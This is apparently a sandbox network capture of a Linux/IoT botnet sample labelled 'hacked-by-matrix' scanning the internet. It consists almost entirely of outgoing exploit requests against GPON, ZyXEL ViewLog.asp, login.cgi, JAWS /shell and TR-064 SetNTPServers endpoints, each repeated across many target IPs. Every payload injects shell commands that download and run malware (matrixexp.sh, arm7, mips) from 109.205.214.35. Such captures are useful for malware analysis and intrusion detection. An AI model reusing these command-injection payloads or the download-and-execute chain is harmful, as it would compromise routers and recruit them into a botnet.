Mar 21, 2024 05:23:33.826744080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1933	192.168.2.13	60092	118.11.111.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826750040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1934	192.168.2.13	57844	118.239.49.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826788902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1935	192.168.2.13	38298	5.253.136.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826844931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1936	192.168.2.13	44934	118.119.65.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826853991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1937	192.168.2.13	35358	42.221.212.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826854944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1938	192.168.2.13	45694	42.148.88.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826854944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1939	192.168.2.13	53286	118.3.228.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826894045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1940	192.168.2.13	36644	212.130.61.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826909065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1941	192.168.2.13	59072	118.116.63.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826982021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1942	192.168.2.13	45524	109.212.104.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826982975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1943	192.168.2.13	43882	212.85.202.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826999903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1944	192.168.2.13	33414	118.125.72.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.827022076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1945	192.168.2.13	58418	83.169.38.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.105535984 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1946	192.168.2.13	54204	212.172.166.189	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.396972895 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:34.587234974 CET	506	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:23:33 GMT Content-Type: text/html Content-Length: 173 Connection: keep-alive Location: https:///login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Strict-Transport-Security: max-age=31536000; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1947	192.168.2.13	46724	213.155.38.230	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.502836943 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:34.701927900 CET	354	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 05:23:33 GMT Server: webserver Content-Length: 195 Content-Type: text/html Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /cgi-bin/ViewLog.asp</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1948	192.168.2.13	34656	178.47.45.2	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.505665064 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:34.733786106 CET	259	IN	HTTP/1.1 501 Not Implemented Connection: Keep-Alive Content-Length: 121 Date: Thu, 21 Mar 2024 04:23:34 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>
Mar 21, 2024 05:23:34.747684002 CET	251	IN	HTTP/1.0 503 unknown method Connection: close Content-Length: 119 Date: Thu, 21 Mar 2024 04:23:34 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 503: unknown method</title></head><body><h1>Error 503: unknown method</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1949	192.168.2.13	40706	185.37.252.136	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.725550890 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:35.855351925 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:36.070107937 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:35 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1950	192.168.2.13	48644	118.39.243.61	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:34.805162907 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:36.301882982 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1951	192.168.2.13	58174	212.186.237.189	443

Timestamp	Bytes transferred	Direction	Data
